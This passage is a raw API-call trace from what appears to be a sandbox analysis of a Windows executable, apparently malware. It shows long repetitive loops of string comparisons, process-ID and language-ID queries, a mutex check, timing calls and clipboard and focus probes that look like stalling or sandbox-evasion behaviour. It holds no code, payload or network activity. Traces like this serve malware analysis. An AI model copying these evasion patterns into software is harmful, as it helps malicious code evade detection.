returned 0x79c [0123.759] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.759] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.759] GetUserDefaultLangID () returned 0x409 [0123.760] GetCurrentProcessId () returned 0x79c [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.760] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.760] GetUserDefaultLangID () returned 0x409 [0123.760] GetCurrentProcessId () returned 0x79c [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.760] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.760] GetUserDefaultLangID () returned 0x409 [0123.760] GetCurrentProcessId () returned 0x79c [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.760] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.760] GetUserDefaultLangID () returned 0x409 [0123.760] GetCurrentProcessId () returned 0x79c [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.760] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.760] GetUserDefaultLangID () returned 0x409 [0123.760] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0123.760] GetLastError () returned 0x2 [0123.760] GetLocalTime (in: lpSystemTime=0x20fc28 | out: lpSystemTime=0x20fc28*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x31, wMilliseconds=0x1f4)) [0123.760] VarI4FromUI1 (in: bIn=0x1, plOut=0x20fc38 | out: plOut=0x20fc38) returned 0x0 [0123.760] GetTickCount () returned 0x559e [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="%d" | out: param_1="18021918") returned 8 [0123.760] lstrlenA (lpString="18021918") returned 8 [0123.760] GetCurrentProcessId () returned 0x79c [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.760] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.760] GetUserDefaultLangID () returned 0x409 [0123.760] GetCurrentProcessId () returned 0x79c [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.760] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.760] GetUserDefaultLangID () returned 0x409 [0123.760] GetCurrentProcessId () returned 0x79c [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.760] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.760] GetUserDefaultLangID () returned 0x409 [0123.760] GetCurrentProcessId () returned 0x79c [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.760] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.760] GetUserDefaultLangID () returned 0x409 [0123.760] GetCurrentProcessId () returned 0x79c [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.760] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.760] GetUserDefaultLangID () returned 0x409 [0123.760] GetCurrentProcessId () returned 0x79c [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.760] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.760] GetUserDefaultLangID () returned 0x409 [0123.760] GetCurrentProcessId () returned 0x79c [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.760] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.760] GetUserDefaultLangID () returned 0x409 [0123.760] GetCurrentProcessId () returned 0x79c [0123.760] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.760] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.760] GetUserDefaultLangID () returned 0x409 [0123.760] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0123.761] GetLastError () returned 0x2 [0123.761] GetLocalTime (in: lpSystemTime=0x20fc28 | out: lpSystemTime=0x20fc28*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x31, wMilliseconds=0x1f5)) [0123.761] VarI4FromUI1 (in: bIn=0x1, plOut=0x20fc38 | out: plOut=0x20fc38) returned 0x0 [0123.761] GetTickCount () returned 0x559e [0123.761] wsprintfA (in: param_1=0x20fcd0, param_2="%d" | out: param_1="18021918") returned 8 [0123.761] lstrlenA (lpString="18021918") returned 8 [0123.761] GetCurrentProcessId () returned 0x79c [0123.761] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.761] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.761] GetUserDefaultLangID () returned 0x409 [0123.761] GetCurrentProcessId () returned 0x79c [0123.761] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.761] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.761] GetUserDefaultLangID () returned 0x409 [0123.761] GetCurrentProcessId () returned 0x79c [0123.761] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.761] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.761] GetUserDefaultLangID () returned 0x409 [0123.761] GetCurrentProcessId () returned 0x79c [0123.761] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.761] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.761] GetUserDefaultLangID () returned 0x409 [0123.761] GetCurrentProcessId () returned 0x79c [0123.761] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.761] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.761] GetUserDefaultLangID () returned 0x409 [0123.761] GetCurrentProcessId () returned 0x79c [0123.761] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.761] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.761] GetUserDefaultLangID () returned 0x409 [0123.761] GetCurrentProcessId () returned 0x79c [0123.761] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.761] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.761] GetUserDefaultLangID () returned 0x409 [0123.761] GetCurrentProcessId () returned 0x79c [0123.761] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.761] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.761] GetUserDefaultLangID () returned 0x409 [0123.761] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0123.761] GetLastError () returned 0x2 [0123.761] GetLocalTime (in: lpSystemTime=0x20fc28 | out: lpSystemTime=0x20fc28*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x31, wMilliseconds=0x1f5)) [0123.761] VarI4FromUI1 (in: bIn=0x1, plOut=0x20fc38 | out: plOut=0x20fc38) returned 0x0 [0123.761] GetTickCount () returned 0x559e [0123.761] wsprintfA (in: param_1=0x20fcd0, param_2="%d" | out: param_1="18021918") returned 8 [0123.761] lstrlenA (lpString="18021918") returned 8 [0123.761] GetCurrentProcessId () returned 0x79c [0123.761] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.762] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.762] GetUserDefaultLangID () returned 0x409 [0123.762] GetCurrentProcessId () returned 0x79c [0123.762] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.762] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.762] GetUserDefaultLangID () returned 0x409 [0123.762] GetCurrentProcessId () returned 0x79c [0123.762] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.762] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.762] GetUserDefaultLangID () returned 0x409 [0123.762] GetCurrentProcessId () returned 0x79c [0123.762] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.762] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.762] GetUserDefaultLangID () returned 0x409 [0123.762] GetCurrentProcessId () returned 0x79c [0123.762] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.762] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.762] GetUserDefaultLangID () returned 0x409 [0123.762] GetCurrentProcessId () returned 0x79c [0123.762] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.762] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.762] GetUserDefaultLangID () returned 0x409 [0123.762] GetCurrentProcessId () returned 0x79c [0123.762] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.762] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.762] GetUserDefaultLangID () returned 0x409 [0123.762] GetCurrentProcessId () returned 0x79c [0123.762] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.762] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.762] GetUserDefaultLangID () returned 0x409 [0123.762] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0123.762] GetLastError () returned 0x2 [0123.762] GetLocalTime (in: lpSystemTime=0x20fc28 | out: lpSystemTime=0x20fc28*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x31, wMilliseconds=0x1f6)) [0123.762] VarI4FromUI1 (in: bIn=0x1, plOut=0x20fc38 | out: plOut=0x20fc38) returned 0x0 [0123.762] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.767] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.767] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.767] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.767] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.767] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.767] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.767] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.767] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.767] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.767] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.767] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.767] GetSystemMetrics (nIndex=25) returned 0 [0123.767] CountClipboardFormats () returned 0 [0123.767] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.767] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.768] GetSystemMetrics (nIndex=25) returned 0 [0123.768] CountClipboardFormats () returned 0 [0123.768] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.768] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.769] GetSystemMetrics (nIndex=25) returned 0 [0123.769] CountClipboardFormats () returned 0 [0123.769] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.769] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.770] GetSystemMetrics (nIndex=25) returned 0 [0123.770] CountClipboardFormats () returned 0 [0123.770] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.770] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.771] GetSystemMetrics (nIndex=25) returned 0 [0123.771] CountClipboardFormats () returned 0 [0123.771] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.771] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 